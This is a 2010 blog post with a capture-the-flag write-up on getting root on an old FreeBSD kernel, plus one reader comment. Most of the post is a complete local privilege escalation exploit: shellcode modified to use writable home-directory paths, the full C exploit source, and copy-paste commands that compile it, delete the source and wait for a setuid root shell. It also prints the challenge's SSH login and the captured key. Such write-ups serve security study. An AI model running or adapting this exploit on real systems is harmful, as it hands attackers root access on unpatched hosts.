Wednesday, September 29, 2010

CSAW Exploit 3 Write-up - FreeBSD local root

For exploit3, we were given the following instructions:
Get Root. Get the key. If only I can jump over the mountain without being normal
ssh://128.238.66.100:40010
chal3:$+1zX*(
2048 51:41:94:32:cf:b1:3f:d9:74:c1:d2:08:aa:e3:49:2b /etc/ssh/ssh_host_rsa_key.pub (RSA)
1024 22:7f:72:93:93:7e:9a:3d:01:b9:58:ea:74:1a:c5:af /etc/ssh/ssh_host_dsa_key.pub (DSA)

Vulnerable FreeBSD kernel

We ssh and notice an old FreeBSD kernel. We can try to use @kingcope's freebsd sendfile cache local root. Sadly it does not work out of the box because we do not have /tmp writable: we have to customize a bit the shellcode to use a different one. Also, we can remove the 64-bit part since we are on 32-bit.

Small modification of the shellcode

The original 32-bit shellcode is:
$ echo -ne "\x31\xc0\x6a\x00\x68\x70\x2f\x73\x68\x68\x2f\x2f\x74\x6d\x89\xe3\x50\x50\x53\xb0\x10\x50\xcd\x80\x68\xed\x0d\x00\x00\x53\xb0\x0f\x50\xcd\x80\x31\xc0\x6a\x00\x68\x2f\x73\x68\x32\x68\x2f\x74\x6d\x70\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80" |ndisasm -u -
00000000  31C0              xor eax,eax
00000002  6A00              push byte +0x0
00000004  68702F7368        push dword 0x68732f70 ; p/sh
00000009  682F2F746D        push dword 0x6d742f2f ; //tm
0000000E  89E3              mov ebx,esp
00000010  50                push eax
00000011  50                push eax
00000012  53                push ebx
00000013  B010              mov al,0x10
00000015  50                push eax
00000016  CD80              int 0x80
00000018  68ED0D0000        push dword 0xded
0000001D  53                push ebx
0000001E  B00F              mov al,0xf
00000020  50                push eax
00000021  CD80              int 0x80
00000023  31C0              xor eax,eax
00000025  6A00              push byte +0x0
00000027  682F736832        push dword 0x3268732f ; /sh2
0000002C  682F746D70        push dword 0x706d742f ; /tmp
00000031  89E3              mov ebx,esp
00000033  50                push eax
00000034  54                push esp
00000035  53                push ebx
00000036  50                push eax
00000037  B03B              mov al,0x3b
00000039  CD80              int 0x80
Using Python we quickly decode the strings:
>>> "".join(pack("<I",b) for b in [0x68732f70,0x6d742f2f][::-1])
'//tmp/sh'
>>> "".join(pack("<I",b) for b in [0x3268732f,0x706d742f][::-1])
'/tmp/sh2'

We change these paths to point to the (writable) home directory /usr/home/chal3. For the first shell:
>>> s='/usr/home/chal3/.sh'
>>> t=s.rjust((len(s)/4+1)*4,'/')[::-1]
>>> [t[i:i+4][::-1].encode('hex') for i in range(0,len(t),4)]
['2f2e7368', '68616c33', '6d652f63', '722f686f', '2f2f7573']
Same for the second shell and it gives us the following shellcode:
$ echo -ne "\x31\xc0\x6a\x00\x68\x2f\x2e\x73\x68\x68\x68\x61\x6c\x33\x68\x6d\x65\x2f\x63\x68\x72\x2f\x68\x6f\x68\x2f\x2f\x75\x73\x89\xe3\x50\x50\x53\xb0\x10\x50\xcd\x80\x68\xed\x0d\x00\x00\x53\xb0\x0f\x50\xcd\x80\x31\xc0\x6a\x00\x68\x2E\x73\x68\x32\x68\x61\x6C\x33\x2f\x68\x65\x2F\x63\x68\x68\x2F\x68\x6F\x6D\x68\x2F\x75\x73\x72\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80" |ndisasm -u -
00000000  31C0              xor eax,eax
00000002  6A00              push byte +0x0
00000004  682F2E7368        push dword 0x68732e2f ; /.sh
00000009  6868616C33        push dword 0x336c6168 ; hal3
0000000E  686D652F63        push dword 0x632f656d ; me/c
00000013  68722F686F        push dword 0x6f682f72 ; r/ho
00000018  682F2F7573        push dword 0x73752f2f ; //us
[...]
00000034  6A00              push byte +0x0
00000036  682E736832        push dword 0x3268732e ; .sh2
0000003B  68616C332F        push dword 0x2f336c61 ; al3/
00000040  68652F6368        push dword 0x68632f65 ; e/ch
00000045  682F686F6D        push dword 0x6d6f682f ; /hom
0000004A  682F757372        push dword 0x7273752f ; /usr
[...]
Good we're ready! Here is my final exploit.

Exploit

The exploit steps remain the same as those explained by kingcope in his exploit: we prepare a listening netcat then in another shell, then we copy /bin/sh into sh & sh2 and run the exploit. After ~5mins, sh becomes setuid root.

The most difficult part of the challenge was to have an open window for exploitation since the ssh was offline most of the time. Probably a DoS by unfair challengers? Sad.

Open two shells and keep trying to connect:
while sleep 0.1; do ssh -p 40010 chal3@128.238.66.100; done

When you have an opportunity, quickly start the nc -l 7030 on the first shell, and on the second shell:
  • copy the exploit (inline using cat <<EOF>file.c technique)
  • compile it with gcc
  • remove source (or other contestants can steal it ;)
  • copy shells
  • run exploit
  • monitor the shell for when it becomes setuid root

Preferably, have all these steps ready in copy/paste commands so you are faster! Indeed, the window is short and you can be disconnected anytime. Here what I used:
cd /usr/home/chal3
cat <<EOF>.x.c
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <sys/select.h>
#include <sys/stat.h>
#include <strings.h>
#include <stdio.h>
#include <string.h>
#include <err.h>
main (int argc, char *argv[]) {
int s, f, k2;
struct sockaddr_in addr;
int flags;
char str32[]="\x31\xc0\x6a\x00\x68\x2f\x2e\x73\x68\x68\x68\x61\x6c\x33\x68\x6d\x65\x2f\x63\x68\x72\x2f\x68\x6f\x68\x2f\x2f\x75\x73\x89\xe3\x50\x50\x53\xb0\x10\x50\xcd\x80\x68\xed\x0d\x00\x00\x53\xb0\x0f\x50\xcd\x80\x31\xc0\x6a\x00\x68\x2E\x73\x68\x32\x68\x61\x6C\x33\x2f\x68\x65\x2F\x63\x68\x68\x2F\x68\x6F\x6D\x68\x2F\x75\x73\x72\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80";
char buf[10000];
char *p;
struct stat sb;
int n;
fd_set wset;
int64_t size;
off_t sbytes;
off_t sent = 0;
int chunk;
s = socket(AF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(7030);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
n = connect(s, (struct sockaddr *)&addr, sizeof (addr));
if (n < 0)
warn ("fail to connect");
f = open("/bin/sh", O_RDONLY);
if (f<0) warn("fail to open file");
n = fstat(f, &sb);
if (n<0) warn("fstat failed");
size = sb.st_size;
chunk = 0;
flags = fcntl(f, F_GETFL);
flags |= O_NONBLOCK;
fcntl(f, F_SETFL, flags);
while (size > 0) {
FD_ZERO(&wset);
FD_SET(s, &wset);
n = select(f+1, NULL, &wset, NULL, NULL);
if (n < 0) continue;
if (chunk > 0) {
sbytes = 0;
n = sendfile(f, s, 2048*2, chunk, NULL, &sbytes,0);
if (n < 0)
continue;
chunk -= sbytes;
size -= sbytes;
sent += sbytes;
continue;
}
chunk = 2048;
memset(buf, '\0', sizeof buf);
for (k2=0;k2<256;k2++) buf[k2] = 0x90;
p = buf;
p = p + k2;
memcpy(p, str32, sizeof str32);
n = k2 + sizeof str32;
p = buf;
write(s, p, n);
}
}
EOF
gcc -o .x .x.c
rm -f .x.c
cp /bin/sh .sh
cp /bin/sh .sh2
./.x
while sleep 1; do date; ls -lh .sh*; done

I had to do this several time (disconnected), but eventually it worked I had the time to run the root shell and grab the key:
$ ./.sh
# cd /root
# ls
key     log
# cat key
745c4f4904b839e8bf8f0518e8b2f9d7
Before leaving, I obviously removed the root shell. ;)

Greets to my friend teach who was first on this challenge, got the root shell the same way... but was disconnected before he had the time to get the key :(

Challenge was fun and original - you don't get root very often in challenges :) - just sad it was under DoS.

1 comment:

  1. hehe nice writeup. the DoS was very lame, otherwise i could have get this easy 300pts long time before. By the way i saw incredible exploits on the box first time i log in dating from something like 2006 and even linux local root exploits (and one of mine:)). was wondering if some guys could just do uname -a. I LOL'D

    ReplyDelete